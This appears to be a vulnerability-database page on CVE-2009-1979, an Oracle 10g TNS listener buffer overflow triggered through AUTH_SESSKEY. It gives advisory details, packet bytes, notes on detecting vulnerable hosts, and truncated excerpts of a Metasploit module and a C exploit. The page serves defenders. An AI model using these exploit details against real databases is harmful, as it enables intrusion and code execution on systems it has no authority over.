CVE-2009-1979
published 2009-10-22CVE-2009-1979: Unspecified vulnerability in the Network Authentication component in Oracle Database 10.1.0.5 and 10.2.0.4 allows remote attackers to affect confidentiality…
PriorityP274critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
76.36%
99.5th percentile
Unspecified vulnerability in the Network Authentication component in Oracle Database 10.1.0.5 and 10.2.0.4 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the October 2009 CPU. Oracle has not commented on claims from an independent researcher that this is related to improper validation of the AUTH_SESSKEY parameter length that leads to arbitrary code execution.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
| oracle | database_server | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandAUTH_SESSKEY (oversized/malformed value sent in OAUTH TNS packet to trigger stack buffer overflow)↗
bytes↗
05 26 00 00 06 00 00 00 00 00 03 73 03 FE FF FF FF 05 00 00 00 01 01 00 00 ... AUTH_SESSKEY overflow OAUTH packet header
- →The exploit targets Oracle 10.2.0.1.0 and 10.2.0.4.0 Enterprise Edition on 32-bit Windows. Version detection via TNS COMMAND=VERSION can be used to identify vulnerable hosts; the Metasploit module checks for the string '32-bit Windows: Version 10.2.0.1.0' or '32-bit Windows: Version 10.2.0.4.0' in the version reply. ↗
- ·The Metasploit module's automatic target detection relies on the TNS VERSION command response being accessible. If the Oracle listener is configured to reject VERSION queries or is behind a firewall filtering TNS, automatic detection will fail. ↗
- ·The Oracle 10.2.0.1.0 target (Ret=0x011b0528) is listed as 'Untested' in the Metasploit module; only Oracle 10.2.0.4.0 Enterprise Edition on 32-bit Windows was confirmed exploitable. ↗
- ·The vulnerability affects Oracle Database Network Authentication component on versions 10.1.0.5 and 10.2.0.4; the exact attack vector details remain officially unspecified by Oracle, with the AUTH_SESSKEY overflow being attributed to independent researcher analysis rather than Oracle's own advisory. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)
exploitdb·2010-11-24
CVE-2009-1979 Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)
Oracle 10gR2 - TNS Listener AUTH_SESSKEY Buffer Overflow (Metasploit)
---
##
# $Id: tns_auth_sesskey.rb 11128 2010-11-24 19:43:49Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Oracle. When
sending a specially crafted packet containing a long AUTH_SESSKEY value
to the TNS service, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'jduck' ],
'License' => MSF_LICENSE,
'Version' => '$Revision
Exploit-DB
Oracle Database 10.1.0.5 < 10.2.0.4 - AUTH_SESSKEY Length Validation Remote Buffer Overflow
exploitdb·2009-10-30
CVE-2009-1979 Oracle Database 10.1.0.5 < 10.2.0.4 - AUTH_SESSKEY Length Validation Remote Buffer Overflow
Oracle Database 10.1.0.5
#include
#include
#include
#include
#include
void s_send (SOCKET s, char *msg, DWORD size)
{
int sent;
printf ("s_send: begin: %d bytes\n", size);
sent=send (s, (char*)msg, size, 0);
if (sent==SOCKET_ERROR)
{
printf ("send() -> SOCKET_ERROR, WSAGetLastError=%d\n", WSAGetLastError());
} else
if (sent!=size)
printf ("sent only %d bytes\n", sent);
printf ("s_send: end\n");
};
void s_recv (SOCKET s)
{
char buf[20000];
int r;
struct timeval t;
fd_set fd;
t.tv_sec=0;
t.tv_usec=100000; // 100 ms
printf ("s_recv: begin\n");
FD_ZERO(&fd);
FD_SET(s, &fd);
if (select (0, &fd, 0, 0, &t))
// if (select (0, &fd, 0, 0, NULL))
{
r=recv (s, buf, 20000, 0);
if (r!=0 && r!=-1)
{
printf ("got %d bytes\n", r);
}
else
{
printf ("connection lost, r=%d\n", r);
};
}
else
{
pri
Metasploit
Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow
metasploit
Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow
Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow
This module exploits a stack buffer overflow in Oracle. When sending a specially crafted packet containing a long AUTH_SESSKEY value to the TNS service, an attacker may be able to execute arbitrary code.
No writeups or analysis indexed.
http://blogs.conus.info/node/28http://osvdb.org/59110http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/archive/1/507598/100/0/threadedhttp://www.securityfocus.com/bid/36747http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.htmlhttp://blogs.conus.info/node/28http://osvdb.org/59110http://secunia.com/advisories/37027http://www.oracle.com/technetwork/topics/security/cpuoct2009-096303.htmlhttp://www.securityfocus.com/archive/1/507598/100/0/threadedhttp://www.securityfocus.com/bid/36747http://www.securitytracker.com/id?1023057http://www.us-cert.gov/cas/techalerts/TA09-294A.html
2009-10-22
Published